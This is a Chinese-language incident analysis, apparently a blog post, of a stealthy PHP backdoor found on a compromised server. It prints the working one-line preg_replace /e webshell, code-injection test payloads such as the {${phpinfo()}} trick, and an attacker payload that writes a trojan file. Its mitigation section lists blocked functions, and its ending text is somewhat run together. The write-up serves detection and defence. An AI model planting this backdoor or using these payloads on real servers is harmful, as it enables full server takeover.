在協助朋友排查服務器入侵事件時,我遭遇了一個極具欺騙性的 PHP 後門。儘管使用多款主流掃描工具全盤檢測,均未發現異常。攻擊者手法老練:每次利用完後門立即刪除痕跡,卻總能再次滲透,令人防不勝防。
突破口來自於訪問日誌。經過細致分析,發現某固定 IP 反覆向特定文件發送 POST 數據,隨後該 IP 會訪問一個顯然非系統原生的 PHP 文件——這正是臨時植入的後門。利用完成後,攻擊者迅速刪除該文件,不留痕跡。
經過提取與分析,該臨時後門文件僅包含一行核心代碼:
@preg_replace("//e", $_POST['IN_COMSENZ'], "Access Denied");
乍看之下,這只是一行普通的正則替換代碼,實則暗藏殺機。關鍵在於 /e 修飾符(PREG_REPLACE_EVAL),它會將 replacement 參數作為 PHP 代碼執行。
根據 PHP 官方文檔,/e 修飾符導致 preg_replace() 在完成逆向引用替換後,將 replacement 參數作為 PHP 代碼執行。這意味著攻擊者可通過控制 $_POST['IN_COMSENZ'] 任意執行 PHP 代碼。
為便於測試,將 POST 改為 GET:
echo preg_replace("/test/e", $_GET["h"], "just test");
提交 ?h=phpinfo(),phpinfo() 即被執行。
攻擊者實際使用經過 chr() 編碼的載荷,解碼後為:
fputs(fopen('data/a.php', 'w'), '');
執行結果:在 /data/ 目錄下生成一句話木馬 a.php,隨後攻擊者即可通過該木馬完全控制服務器。
考慮如下代碼:
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("1")', $_GET["h"]);
提交 ?h=[php]phpinfo()[/php] 並不會執行 phpinfo(),因為匹配後 replacement 變為 'test("phpinfo")',函數名僅作為字符串參數。
但若提交 ?h=[php]{${phpinfo()}}[/php],phpinfo() 卻會被執行。原理在於 PHP 雙引號內的 {${...}} 結構會解析變量並執行其中的函數調用。實際生成的代碼為 'test("{${phpinfo()}}")',經雙引號解析後觸發函數執行。
preg_replace、preg_replace_callback 等函數調用,檢查是否存在用戶可控的 replacement 參數。php.ini 中配置 disable_functions = eval,assert,system,exec,shell_exec,passthru,popen,proc_open,...@preg_replace("//e", $_POST['IN_COMSENZ'], "Access Denied"); 這行看似無害的代碼,實則是一個極度隱蔽、危害巨大的後門。它利用了 /e 修飾符這一歷史特性,繞過了絕大多數自動化掃描工具的檢測。安全防護不僅依賴工具,更需要深入理解語言特性與攻擊原理,構建多層次的防禦體系。